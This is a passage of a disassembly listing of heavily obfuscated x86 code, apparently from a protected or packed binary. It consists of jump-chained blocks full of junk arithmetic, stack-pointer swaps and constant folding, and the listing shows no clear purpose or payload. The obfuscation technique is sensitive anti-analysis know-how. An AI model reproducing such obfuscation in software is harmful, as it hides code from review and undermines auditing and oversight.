		and	[edi+1Ch], eax
		push	[esp+58h+var_58]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	2E3Ah
		mov	[esp+60h+var_60], edi
		mov	edi, 2604425Eh
		shr	edi, 2
		and	edi, 50FA27A6h
		dec	edi
		neg	edi
		add	edi, 130B4A60h
		sub	edi, 128B49D7h
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp+5Ch+var_5C]
		jmp	loc_5C6D3C
; ---------------------------------------------------------------------------


loc_5C45D6:				; CODE XREF: sub_5A55E5+20DF8j
		push	ebx
		mov	bh, 61h
		or	bh, 1Ah
		dec	bh
		and	bh, 5Eh
		jmp	loc_5C14A1
; ---------------------------------------------------------------------------


loc_5C45E6:				; CODE XREF: sub_5A55E5+1CF55j
		xor	ebp, 0CDDFF2A1h
		add	eax, ebp
		mov	ebp, [esp+94h+var_94]
		add	esp, 4
		push	ecx
		mov	ecx, 280262ACh
		and	ecx, 408544Fh
		neg	ecx
		sub	ecx, 1
		push	ebp
		push	esi
		jmp	loc_5CBA5F
; ---------------------------------------------------------------------------


loc_5C460F:				; CODE XREF: sub_5A55E5+1C6C3j
		add	edx, 4
		xchg	edx, [esp+8Ah+var_8C+2]
		jmp	loc_5D048F
; ---------------------------------------------------------------------------


loc_5C461A:				; CODE XREF: sub_5A55E5+1D227j
		push	7A58h
		jmp	loc_5D407F
; ---------------------------------------------------------------------------


loc_5C4624:				; CODE XREF: sub_5A55E5+2DC13j
		xor	ebp, [esp+66h+var_68+2]
		xor	[esp+66h+var_68+2], ebp
		xor	ebp, [esp+66h+var_68+2]
		mov	esp, [esp+66h+var_68+2]
		mov	[esp+66h+var_68+2], ecx
		jmp	loc_5D180D
; ---------------------------------------------------------------------------


loc_5C4638:				; CODE XREF: sub_5A55E5+235EFj
		push	esp
		pop	esi
		jmp	loc_5CFD1F
; ---------------------------------------------------------------------------


loc_5C463F:				; CODE XREF: sub_5A55E5+2D8DBj
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp+66h+var_68+2]
		pop	esp
		shl	al, 2
		and	al, 5Dh
		sub	al, 5Fh
		mov	bh, al
		jmp	loc_5C489D
; ---------------------------------------------------------------------------


loc_5C465D:				; CODE XREF: sub_5A55E5+26FEEj
		push	2A4B1FCCh
		pop	edx
		sub	esp, 4
		mov	[esp+66h+var_68+2], edi
		mov	edi, 69A47E96h
		shr	edi, 3
		dec	edi
		sub	edi, 0CBB58E95h
		or	edx, edi
		pop	edi
		inc	edx
		sub	edx, 151829F9h
		push	eax
		mov	eax, 6AA8574Fh
		jmp	loc_5D30D5
; ---------------------------------------------------------------------------


loc_5C468D:				; CODE XREF: sub_5A55E5+1EC84j
		push	224Eh
		mov	[esp+72h+var_74+2], edi
		jmp	loc_5CEB82
; ---------------------------------------------------------------------------


loc_5C469A:				; CODE XREF: sub_5A55E5+24D11j
		sub	[esp+72h+var_70+2], 68947AABh
		add	[esp+72h+var_70+2], eax
		add	[esp+72h+var_70+2], 68947AABh
		pop	eax
		pop	ebx
		push	ecx
		jmp	loc_5C0E5D
; ---------------------------------------------------------------------------


loc_5C46B6:				; CODE XREF: sub_5A55E5+2E0C3j
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp+6Ah+var_6C+2]
		pop	esp
		push	3693h
		mov	[esp+6Ah+var_6C+2], esp
		add	[esp+6Ah+var_6C+2], 4
		jmp	loc_5CF6B6
; ---------------------------------------------------------------------------


loc_5C46DA:				; CODE XREF: sub_5A55E5+1DBBCj
		xchg	edi, edx
		pop	edi
		add	edx, 1E184336h
		add	edx, 0B1463B51h
		mov	ecx, edx
		pop	edx
		add	ecx, 1E0625A8h
		add	edx, 268E1C1Ah
		jmp	loc_5C374C
; ---------------------------------------------------------------------------


loc_5C46FD:				; CODE XREF: sub_5A55E5+2D3D0j
		xor	ebp, 1E64078h
		jmp	loc_5D2C5E
; ---------------------------------------------------------------------------


loc_5C4708:				; CODE XREF: sub_5A55E5+2C006j
		push	ebx
		mov	bl, 0ABh
		push	eax
		mov	al, 0CFh
		inc	al
		dec	al
		dec	al
		jmp	loc_5C1DD7
; ---------------------------------------------------------------------------


loc_5C4719:				; CODE XREF: sub_5A55E5+20882j
		pop	ebx
		jmp	loc_5C9819
; ---------------------------------------------------------------------------


loc_5C471F:				; CODE XREF: sub_5A55E5+288D6j
		xchg	ebx, [esp+9Eh+var_A0+2]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		not	ebx
		jmp	loc_5C11F9
; ---------------------------------------------------------------------------


loc_5C4735:				; CODE XREF: sub_5A55E5+1AB7Cj
		add	edi, ebx
		add	edi, 135C376Bh
		jmp	loc_5C5520
; ---------------------------------------------------------------------------


loc_5C4742:				; CODE XREF: sub_5A55E5+1FEA5j
		pop	eax
		push	[esp+76h+var_78+2]
		pop	ebx
		push	eax
		jmp	loc_5C09E4
; ---------------------------------------------------------------------------


loc_5C474D:				; CODE XREF: sub_5A55E5+2E8A2j
		or	ecx, 249F3399h
		add	ecx, 0E331EA2Fh
		sub	edi, ecx
		jmp	loc_5C5C11
; ---------------------------------------------------------------------------
		push	[esp+7Ah+var_7C+2]
		push	[esp+7Eh+var_80+2]
		jmp	loc_5C3E31
; ---------------------------------------------------------------------------


loc_5C476B:				; CODE XREF: sub_5A55E5+1F859j
		xor	esi, [esp+82h+var_84+2]
		xor	[esp+82h+var_84+2], esi
		xor	esi, [esp+82h+var_84+2]
		jmp	loc_5C337B
; ---------------------------------------------------------------------------


loc_5C4779:				; CODE XREF: sub_5A55E5+29228j
		mov	ecx, [esp+82h+var_84+2]
		add	esp, 4
		jmp	loc_5C9A5E
; ---------------------------------------------------------------------------


loc_5C4784:				; CODE XREF: sub_5A55E5+29382j
		pop	ebx
		pop	ebx
		sub	ebp, 4
		jmp	loc_5C27C6
; ---------------------------------------------------------------------------


loc_5C4791:				; CODE XREF: sub_5A55E5+2CB5Bj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5D2F3F
; ---------------------------------------------------------------------------


loc_5C47A2:				; CODE XREF: sub_5A55E5+1BE14j
		push	[esp+82h+var_80+2]
		pop	esi
		pop	[esp+82h+var_84+2]
		mov	esp, [esp+7Eh+var_80+2]
		shl	word ptr [esp+7Eh+var_80+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C47B7:				; CODE XREF: sub_5A55E5+2C908j
		pop	esp
		push	513Fh
		mov	[esp+82h+var_84+2], eax
		push	ecx
		jmp	loc_5CC81F
; ---------------------------------------------------------------------------


loc_5C47C6:				; CODE XREF: sub_5A55E5+2D464j
		mov	ebx, edi
		pop	edi
		or	[edi+1Ch], ebx
		mov	ebx, [esp+82h+var_84+2]
		add	esp, 4
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C47D7:				; CODE XREF: sub_5A55E5+2CA12j
		pop	[esp+7Eh+var_80+2]
		pop	esp
		xor	edx, ecx
		jmp	loc_5C4CC1
; ---------------------------------------------------------------------------


loc_5C47E2:				; CODE XREF: sub_5A55E5+1FD89j
		push	edx
		push	esi
		push	ebp
		push	4EAE049Ch
		pop	ebp
		jmp	loc_5D01CC
; ---------------------------------------------------------------------------


loc_5C47F0:				; CODE XREF: sub_5A55E5+25DE5j
		mov	ecx, esp
		jmp	loc_5D3EB5
; ---------------------------------------------------------------------------


loc_5C47F7:				; CODE XREF: sub_5A55E5+28AB7j
		push	eax
		jmp	loc_5CFBA9
; ---------------------------------------------------------------------------


loc_5C47FD:				; CODE XREF: sub_5A55E5+1CED6j
		dec	edi
		push	6C00h
		mov	[esp+8Ch+var_8C], ebx
		mov	ebx, 61A53BF1h
		xor	ebx, 31D45274h
		push	edi
		mov	edi, 60377E6h
		jmp	loc_5C3094
; ---------------------------------------------------------------------------


loc_5C481C:				; CODE XREF: sub_5A55E5+2872Ej
		and	eax, edi
		jmp	loc_5D1F93
; ---------------------------------------------------------------------------


loc_5C4823:				; CODE XREF: sub_5A55E5+1B44Fj
		add	ebx, eax
		pop	eax
		jmp	loc_5C554D
; ---------------------------------------------------------------------------


loc_5C482B:				; CODE XREF: sub_5A55E5+26983j
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		jmp	loc_5D1E3D
; ---------------------------------------------------------------------------


loc_5C4839:				; CODE XREF: sub_5A55E5+23203j
		neg	ebx
		sub	ebx, 0B683CBA2h
		jmp	loc_5C8B00
; ---------------------------------------------------------------------------


loc_5C4846:				; CODE XREF: sub_5A55E5+22486j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5CEDDB
; ---------------------------------------------------------------------------


loc_5C484E:				; CODE XREF: sub_5A55E5+1CB4Dj
		push	ax
		mov	al, 0DFh
		add	ch, al
		pop	ax
		add	ch, al
		sub	ch, 0DFh
		push	[esp+4Eh+var_50+2]
		mov	eax, [esp+52h+var_54+2]
		jmp	loc_5D0ACA
; ---------------------------------------------------------------------------


loc_5C4866:				; CODE XREF: sub_5A55E5+1CB9Fj
		add	esp, 4
		add	ecx, ebx
		jmp	loc_5C7535
; ---------------------------------------------------------------------------


loc_5C4873:				; CODE XREF: sub_5A55E5+21E66j
		mov	ah, 0A7h
		shr	ah, 3
		sub	ah, 0FFh
		push	edx
		mov	dl, 37h
		or	dl, 12h
		shl	dl, 3
		push	ecx
		mov	cl, 0DDh
		xor	cl, 5Eh
		xor	dl, cl
		pop	ecx
		or	dl, 17h
		jmp	loc_5C3784
; ---------------------------------------------------------------------------


loc_5C4895:				; CODE XREF: sub_5A55E5+23A8Fj
		shl	edi, 7
		jmp	loc_5C53AB
; ---------------------------------------------------------------------------


loc_5C489D:				; CODE XREF: sub_5A55E5+1F073j
		mov	eax, [esp+62h+var_64+2]
		add	esp, 4
		push	eax
		mov	al, 3Ah
		xor	bh, al
		jmp	loc_5C86F9
; ---------------------------------------------------------------------------


loc_5C48AD:				; CODE XREF: sub_5A55E5+21057j
		pop	[esp+62h+var_64+2]
		add	[esp+5Eh+var_60+2], 4
		mov	esi, [esp+5Eh+var_60+2]
		jmp	loc_5C238E
; ---------------------------------------------------------------------------


loc_5C48BC:				; CODE XREF: sub_5A55E5+1DC79j
		xor	eax, 7C721B0Ch
		add	eax, 2238BC61h
		add	ecx, eax
		mov	eax, [esp+96h+var_98+2]
		jmp	loc_5C81E6
; ---------------------------------------------------------------------------
		pop	ecx
		add	al, bl
		sub	al, 0F2h
		sub	esp, 4
		mov	[esp+96h+var_98+2], ebx
		mov	bl, 7Dh
		jmp	loc_5C5EF1
; ---------------------------------------------------------------------------


loc_5C48E2:				; CODE XREF: sub_5A55E5+2DD04j
		sub	edx, 5EDA48F1h
		mov	ebp, [esp+96h+var_98+2]
		add	esp, 4
		xor	edx, esi
		jmp	loc_5CC6DB
; ---------------------------------------------------------------------------


loc_5C48F8:				; CODE XREF: sub_5A55E5+2C7C7j
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 64341E81h
		jmp	loc_5CDAC1
; ---------------------------------------------------------------------------


loc_5C490B:				; CODE XREF: sub_5A55E5+28791j
		mov	ebp, 7C065B6Fh
		jmp	loc_5CEAAE
; ---------------------------------------------------------------------------


loc_5C4915:				; CODE XREF: sub_5A55E5+1B850j
		xor	ebx, [esp+90h+var_90]
		pop	esp
		xor	word ptr [esp+8Ch+var_8C], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C4923:				; CODE XREF: sub_5A55E5+2A375j
		and	ebp, 5D52384Ah
		jmp	loc_5C6DE7
; ---------------------------------------------------------------------------


loc_5C492E:				; CODE XREF: sub_5A55E5+26F38j
		dec	dl
		xor	dl, 0D6h
		xor	bl, dl
		pop	edx
		mov	dl, bl
		mov	ebx, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_5C93BB
; ---------------------------------------------------------------------------


loc_5C4946:				; CODE XREF: sub_5A55E5+287B8j
		mov	edx, [esp+88h+var_88]
		add	esp, 4
		sub	eax, ebx
		push	edi
		push	456C5316h
		pop	edi
		shr	edi, 8
		jmp	loc_5CE812
; ---------------------------------------------------------------------------


loc_5C4960:				; CODE XREF: sub_5A55E5+2648Bj
		push	edi
		jmp	loc_5CBE31
; ---------------------------------------------------------------------------
		push	[esp+8Ch+var_8C]
		jmp	loc_5D03D6
; ---------------------------------------------------------------------------


loc_5C496E:				; CODE XREF: sub_5A55E5+2CAA9j
		pop	ebp
		inc	ebp
		not	ebp
		push	ebx
		mov	ebx, 315D54EDh
		not	ebx
		add	ebx, 8C140FFAh
		add	ebp, 30D84024h
		sub	ebp, ebx
		push	edi
		mov	edi, 30D84024h
		sub	ebp, edi
		jmp	loc_5C7D05
; ---------------------------------------------------------------------------


loc_5C4995:				; CODE XREF: sub_5A55E5+23E48j
		mov	esi, 36C6385Dh
		sub	esi, 733F782Bh
		shl	esi, 8
		jmp	loc_5CE994
; ---------------------------------------------------------------------------


loc_5C49A8:				; CODE XREF: sub_5A55E5+24F53j
		push	[esp+94h+var_94]
		jmp	loc_5CFA9A
; ---------------------------------------------------------------------------


loc_5C49B0:				; CODE XREF: sub_5A55E5+1EB56j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		neg	edx
		add	edx, 1
		sub	edx, 5A9D5416h
		jmp	loc_5CAC47
; ---------------------------------------------------------------------------


loc_5C49D5:				; CODE XREF: sub_5A55E5+28674j
		mov	[esp+80h+var_80], edx
		push	63B9h
		mov	[esp+84h+var_84], ebp
		jmp	loc_5C9784
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+84h+var_84]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5C0218
; ---------------------------------------------------------------------------


loc_5C49F7:				; CODE XREF: sub_5A55E5+25B4Dj
		pop	eax
		mov	ebp, [esp+84h+var_84]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5D3328
; ---------------------------------------------------------------------------


loc_5C4A09:				; CODE XREF: sub_5A55E5+1FC73j
		add	al, 3Eh
		push	cx
		mov	cl, 95h
		add	al, cl
		jmp	loc_5D151D
; ---------------------------------------------------------------------------


loc_5C4A16:				; CODE XREF: sub_5A55E5+1B2D5j
		push	22A1h
		mov	[esp+98h+var_98], ebx
		mov	ebx, 1
		jmp	loc_5C5F6E
; ---------------------------------------------------------------------------


loc_5C4A28:				; CODE XREF: sub_5A55E5+240CCj
		push	ecx
		push	[esp+9Ch+var_98]
		pop	ecx
		pop	[esp+9Ch+var_9C]
		pop	esp
		jmp	loc_5C98FB
; ---------------------------------------------------------------------------


loc_5C4A37:				; CODE XREF: sub_5A55E5+28AAFj
		sub	ecx, 66000476h
		pop	ebp
		sub	ecx, 4
		jmp	loc_5CA552
; ---------------------------------------------------------------------------


loc_5C4A49:				; CODE XREF: sub_5A55E5+23647j
		mov	ebx, 3135191Dh
		add	ebx, 1
		push	edi
		mov	edi, 185378DBh
		xor	ebx, edi
		jmp	loc_5C42F1
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	3094h
		mov	[esp+98h+var_98], ebx
		jmp	loc_5C25AF
; ---------------------------------------------------------------------------


loc_5C4A6E:				; CODE XREF: sub_5A55E5+2BC4Dj
		xor	ecx, 73FE476Dh
		shr	ecx, 3
		dec	ecx
		xor	ecx, 0BD9BA830h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5C58F0
; ---------------------------------------------------------------------------


loc_5C4A86:				; CODE XREF: sub_5A55E5+25944j
		mov	esp, [esp+94h+var_94]
		mul	cx
		push	small 4031h
		mov	word ptr [esp+96h+var_98+2], dx
		jmp	loc_5CB853
; ---------------------------------------------------------------------------


loc_5C4A99:				; CODE XREF: sub_5A55E5+1B6ADj
		xchg	si, bx
		pop	si
		jmp	loc_5CFAB3
; ---------------------------------------------------------------------------


loc_5C4AA3:				; CODE XREF: sub_5A55E5+2CA72j
		add	edx, 0F4F195C8h
		add	edi, 10036D5Ah
		jmp	loc_5D33D2
; ---------------------------------------------------------------------------


loc_5C4AB4:				; CODE XREF: sub_5A55E5+20143j
		push	esp
		push	[esp+8Eh+var_90+2]
		jmp	loc_5C89E7
; ---------------------------------------------------------------------------


loc_5C4ABD:				; CODE XREF: sub_5A55E5+2B0A9j
		sub	edx, eax
		sub	edx, 5551681Bh
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C4AD0:				; CODE XREF: sub_5A55E5+1E93Ej
		xor	eax, edi
		mov	edi, [esp+9Ah+var_9C+2]
		add	esp, 4
		jmp	loc_5D0B5A
; ---------------------------------------------------------------------------


loc_5C4ADD:				; CODE XREF: sub_5A55E5+22618j
		mov	[esp+96h+var_98+2], edx
		push	4
		pop	edx
		mov	eax, edx
		pop	edx
		push	ebx
		jmp	loc_5C115F
; ---------------------------------------------------------------------------


loc_5C4AEF:				; CODE XREF: sub_5A55E5+2B6CAj
		add	eax, esi
		pop	esi
		xchg	eax, [esp+92h+var_94+2]
		mov	esp, [esp+92h+var_94+2]
		pop	eax


loc_5C4AF9:				; CODE XREF: sub_5A55E5+21031j
		push	6753h
		mov	[esp+92h+var_94+2], ebx
		jmp	loc_5BFA94
; ---------------------------------------------------------------------------


loc_5C4B06:				; CODE XREF: sub_5A55E5+2AAB1j
		pop	esp
		xchg	ebx, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		add	edx, 4
		jmp	loc_5CBFE8
; ---------------------------------------------------------------------------


loc_5C4B18:				; CODE XREF: sub_5A55E5+25276j
		add	eax, ecx
		jmp	loc_5CC418
; ---------------------------------------------------------------------------


loc_5C4B1F:				; CODE XREF: sub_5A55E5+1BAC0j
		mov	bp, 0BBEh
		jmp	loc_5C9215
; ---------------------------------------------------------------------------


loc_5C4B28:				; CODE XREF: sub_5A55E5+2E231j
		mov	[esp+88h+var_88], ebp
		mov	ebp, 623A52E3h
		neg	ebp
		dec	ebp
		shl	ebp, 6
		push	edi
		push	7D87h
		mov	[esp+90h+var_90], ebx
		mov	ebx, 58987876h
		push	ebx
		pop	edi
		jmp	loc_5D1A17
; ---------------------------------------------------------------------------


loc_5C4B4B:				; CODE XREF: sub_5A55E5+20040j
		add	eax, 4
		jmp	loc_5CDA10
; ---------------------------------------------------------------------------


loc_5C4B55:				; CODE XREF: sub_5A55E5+2419Aj
		shl	esi, 5
		jmp	loc_5CC5E9
; ---------------------------------------------------------------------------


loc_5C4B5D:				; CODE XREF: sub_5A55E5+2D2C6j
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		push	edi
		jmp	loc_5CDC82
; ---------------------------------------------------------------------------


loc_5C4B6F:				; CODE XREF: sub_5A55E5+1BD20j
		pop	eax
		add	ecx, 557E6208h
		add	ecx, esi
		push	ebx
		jmp	loc_5CDC33
; ---------------------------------------------------------------------------


loc_5C4B7E:				; CODE XREF: sub_5A55E5+1ED16j
		add	ecx, 7138A5C1h
		mov	edx, ecx
		pop	ecx
		and	edx, 95C7B2Bh
		jmp	loc_5C9EEA
; ---------------------------------------------------------------------------


loc_5C4B92:				; CODE XREF: sub_5A55E5+1ACC7j
		mov	ecx, 0
		push	ecx
		push	eax
		mov	eax, 65677D8Ah
		add	[esp+98h+var_94], eax
		pop	eax
		jmp	loc_5CDF03
; ---------------------------------------------------------------------------


loc_5C4BA8:				; CODE XREF: sub_5A55E5+1CF77j
		push	283h
		push	esp
		pop	[esp+98h+var_98]
		push	4FF5h
		mov	[esp+98h+var_98], ebx
		mov	ebx, 4
		add	[esp+98h+var_94], ebx
		mov	ebx, [esp+98h+var_98]
		add	esp, 4
		jmp	loc_5CFCA6
; ---------------------------------------------------------------------------


loc_5C4BD0:				; CODE XREF: sub_5A55E5+2DB46j
		sub	edx, esi
		mov	esi, [esp+94h+var_94]
		add	esp, 4
		jmp	loc_5C3E90
; ---------------------------------------------------------------------------


loc_5C4BE0:				; CODE XREF: sub_5A55E5+2CBEFj
		sub	[esp+90h+var_8C], 10C66A7Ch
		sub	[esp+90h+var_8C], edx
		add	[esp+90h+var_8C], 10C66A7Ch
		pop	edx
		sub	[esp+8Ch+var_8C], 4F2A607Dh
		add	[esp+8Ch+var_8C], eax
		push	edx
		mov	edx, 4F2A607Dh
		add	[esp+90h+var_8C], edx
		pop	edx
		push	3A3Dh
		jmp	loc_5C5AEA
; ---------------------------------------------------------------------------


loc_5C4C14:				; CODE XREF: sub_5A55E5+1D1B7j
		push	edx
		mov	edx, 30BD2B7Dh
		not	edx
		xor	edx, 95E0CF55h
		sub	edx, 44906499h
		push	ebx
		push	eax
		mov	eax, 7B316C5Ch
		jmp	loc_5C3D32
; ---------------------------------------------------------------------------


loc_5C4C34:				; CODE XREF: sub_5A55E5+1D59Bj
		mov	edx, [esp+8Ah+var_8C+2]
		push	0D5h
		mov	[esp+8Eh+var_90+2], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, 4D55245Bh
		add	eax, edi
		sub	eax, 4D55245Bh
		pop	edi
		xchg	eax, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		add	ebx, 22DF5A03h
		jmp	loc_5CF2F6
; ---------------------------------------------------------------------------


loc_5C4C6A:				; CODE XREF: sub_5A55E5+1D536j
		mov	dl, ch
		pop	cx
		xor	dl, bl
		pop	ebx
		sub	al, dl
		pop	edx
		add	al, ch
		add	al, 0F2h
		add	al, 60h
		mov	cx, word ptr [esp+8Ah+var_8C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+92h+var_94+2], ecx
		mov	ecx, 2F621709h
		inc	ecx
		xor	ecx, 2F621708h
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+8Eh+var_90+2]
		pop	esp
		add	bl, 63h
		add	bl, al
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], edx
		push	eax
		mov	ah, 15h
		mov	dh, 6Fh
		jmp	loc_5C1A30
; ---------------------------------------------------------------------------


loc_5C4CB4:				; CODE XREF: sub_5A55E5+28200j
		mov	[esp+92h+var_94+2], ecx
		push	[esp+92h+var_90+2]
		pop	ecx
		jmp	loc_5C4256
; ---------------------------------------------------------------------------


loc_5C4CC1:				; CODE XREF: sub_5A55E5+1F1F8j
		xor	ecx, edx
		xor	edx, ecx
		push	edx
		mov	edx, esp
		jmp	loc_5C975D
; ---------------------------------------------------------------------------


loc_5C4CCD:				; CODE XREF: sub_5A55E5+2E2FFj
		mov	edi, 4
		add	esi, 45E64DBCh
		add	esi, edi
		sub	esi, 45E64DBCh
		pop	edi
		push	esi
		push	[esp+7Ah+var_78+2]
		pop	esi
		pop	[esp+7Ah+var_7C+2]
		mov	esp, [esp+76h+var_78+2]
		jmp	loc_5CBB15
; ---------------------------------------------------------------------------


loc_5C4CF2:				; CODE XREF: sub_5A55E5+1CAC3j
		xor	ebp, 194D45D0h
		jmp	loc_5D1D8D
; ---------------------------------------------------------------------------


loc_5C4CFD:				; CODE XREF: sub_5A55E5+22E50j
		sub	ebx, 1AE6078Fh
		not	ebx
		add	ebx, 96C6EA10h
		add	edx, 19ED03FDh
		sub	edx, ebx
		sub	edx, 19ED03FDh
		pop	ebx
		push	ebp
		mov	ebp, 15587CA4h
		add	esi, ebp
		pop	ebp
		add	esi, edx
		sub	esi, 15587CA4h
		mov	edx, [esp+9Eh+var_A0+2]
		add	esp, 4
		jmp	loc_5CCB29
; ---------------------------------------------------------------------------


loc_5C4D39:				; CODE XREF: sub_5A55E5+2887Bj
		pop	edi
		xor	edi, ecx
		pop	ecx
		dec	edi
		or	edi, 4CFE31D4h
		and	edi, 53046053h
		push	ebx
		jmp	loc_5D0BE2
; ---------------------------------------------------------------------------


loc_5C4D50:				; CODE XREF: sub_5A55E5+2036Dj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ecx
		push	edi
		jmp	loc_5CB572
; ---------------------------------------------------------------------------


loc_5C4D5F:				; CODE XREF: sub_5A55E5+229F4j
		push	eax
		mov	ah, 0FCh
		jmp	loc_5C527D
; ---------------------------------------------------------------------------


loc_5C4D67:				; CODE XREF: sub_5A55E5+27453j
		xor	eax, 1E7869EAh
		add	ebx, eax
		pop	eax
		add	ebx, eax
		sub	ebx, 703C1FD0h
		jmp	loc_5D2A59
; ---------------------------------------------------------------------------


loc_5C4D7C:				; CODE XREF: sub_5A55E5+1DE48j
		xor	edi, ecx
		mov	ecx, [esp+68h+var_68]
		add	esp, 4
		sub	edx, 3C2E2474h
		jmp	loc_5CF9D0
; ---------------------------------------------------------------------------


loc_5C4D92:				; CODE XREF: sub_5A55E5+269D2j
		sub	esp, 4
		mov	[esp+68h+var_68], eax
		mov	al, 6Eh
		push	ebx
		mov	bl, 0CAh
		add	bl, 0E5h
		shr	bl, 4
		add	bl, 5Eh
		neg	bl
		sub	bl, 9Ch
		add	dh, bl
		jmp	loc_5C7C59
; ---------------------------------------------------------------------------


loc_5C4DB2:				; CODE XREF: sub_5A55E5+2641Aj
		inc	edi
		xor	edi, 533436D5h
		or	edi, 5BF92FD6h
		add	edi, 21A3F19Eh
		add	ebp, edi
		pop	edi
		add	edx, 6A1F59EEh
		add	edx, ebp
		jmp	loc_5CB229
; ---------------------------------------------------------------------------


loc_5C4DD5:				; CODE XREF: sub_5A55E5+21A52j
		mov	edi, 4BCF0317h
		add	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp+60h+var_60]
		pop	esp
		mov	[esp+5Ch+var_5C], esp
		add	[esp+5Ch+var_5C], 4
		pop	ebp
		add	ebp, 4
		push	2BEBh
		mov	[esp+5Ch+var_5C], ebp
		push	esp
		jmp	loc_5C5C40
; ---------------------------------------------------------------------------


loc_5C4E06:				; CODE XREF: sub_5A55E5+23933j
		push	esi
		pop	ebp
		pop	esi
		shr	ebp, 4
		jmp	loc_5C654C
; ---------------------------------------------------------------------------


loc_5C4E11:				; CODE XREF: sub_5A55E5+217FDj
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_5C8C47
; ---------------------------------------------------------------------------


loc_5C4E1A:				; CODE XREF: sub_5A55E5+1B3DAj
		push	7DB7560Eh
		pop	ebp
		dec	ebp
		jmp	loc_5C950B
; ---------------------------------------------------------------------------


loc_5C4E26:				; CODE XREF: sub_5A55E5+2358Aj
		sub	esi, 46A177C0h
		add	esi, edx
		push	eax
		mov	eax, 46A177C0h
		add	esi, eax
		pop	eax
		sub	esi, 19217369h
		pop	edx
		jmp	loc_5C476B
; ---------------------------------------------------------------------------


loc_5C4E43:				; CODE XREF: sub_5A55E5+2DD8Cj
		mov	ecx, [esp+94h+var_94]
		add	esp, 4
		push	ebx
		mov	ebx, 5D191D46h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_5CE345
; ---------------------------------------------------------------------------


loc_5C4E57:				; CODE XREF: sub_5A55E5+2B62Dj
		pop	ecx
		add	ebp, ebx
		pop	ebx
		add	ebx, ebp
		mov	ebp, [esp+88h+var_88]
		add	esp, 4
		push	48D6h
		mov	[esp+88h+var_88], ebx
		jmp	loc_5C28E0
; ---------------------------------------------------------------------------


loc_5C4E70:				; CODE XREF: sub_5A55E5+213B9j
		mov	edx, esp
		jmp	loc_5CE68C
; ---------------------------------------------------------------------------


loc_5C4E77:				; CODE XREF: sub_5A55E5+20E60j
		movzx	cx, al
		jmp	loc_5CC4D9
; ---------------------------------------------------------------------------


loc_5C4E80:				; CODE XREF: sub_5A55E5+29828j
		mov	eax, 0C2F6415h
		jmp	loc_5C3C18
; ---------------------------------------------------------------------------


loc_5C4E8A:				; CODE XREF: sub_5A55E5+23E9Ej
		sub	esp, 4
		mov	[esp+8Ch+var_8C], ebx
		mov	ebx, 1B5A6FE0h
		or	ebx, 81903A1h
		xor	ebx, 6AFD36E1h
		jmp	loc_5C3BF8
; ---------------------------------------------------------------------------


loc_5C4EA9:				; CODE XREF: sub_5A55E5+21715j
		sub	edi, 378471F1h
		add	edi, 37AD3F23h
		add	edi, 1722E332h
		jmp	loc_5D2E5C
; ---------------------------------------------------------------------------


loc_5C4EC0:				; CODE XREF: sub_5A55E5+207A8j
		pop	edx
		add	ebx, 75355C9Fh
		push	dword ptr [eax]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C4ECE:				; CODE XREF: sub_5A55E5+230C9j
		add	bx, ax
		push	small 5675h
		mov	word ptr [esp+8Eh+var_90+2], bp
		push	4B57h
		mov	[esp+92h+var_94+2], esi
		push	small 3259h
		jmp	loc_5D14B9
; ---------------------------------------------------------------------------


loc_5C4EEA:				; CODE XREF: sub_5A55E5+23BC3j
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], ebx
		sub	esp, 4
		push	505Ch
		push	esp
		jmp	loc_5D2093
; ---------------------------------------------------------------------------


loc_5C4F05:				; CODE XREF: sub_5A55E5+22461j
		mov	esp, [esp+98h+var_98]
		jmp	loc_5D00C0
; ---------------------------------------------------------------------------


loc_5C4F0D:				; CODE XREF: sub_5A55E5+2EA23j
		pop	ebp
		pop	eax
		sub	ebx, 426E3E54h
		jmp	loc_5C69B2
; ---------------------------------------------------------------------------


loc_5C4F1A:				; CODE XREF: sub_5A55E5+1C8B1j
		push	[esp+0ACh+var_A8]
		jmp	loc_5C1B3F
; ---------------------------------------------------------------------------


loc_5C4F23:				; CODE XREF: sub_5A55E5+2E431j
		xor	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xor	ecx, [esp+0A8h+var_A8]
		xor	[esp+0A8h+var_A8], ecx
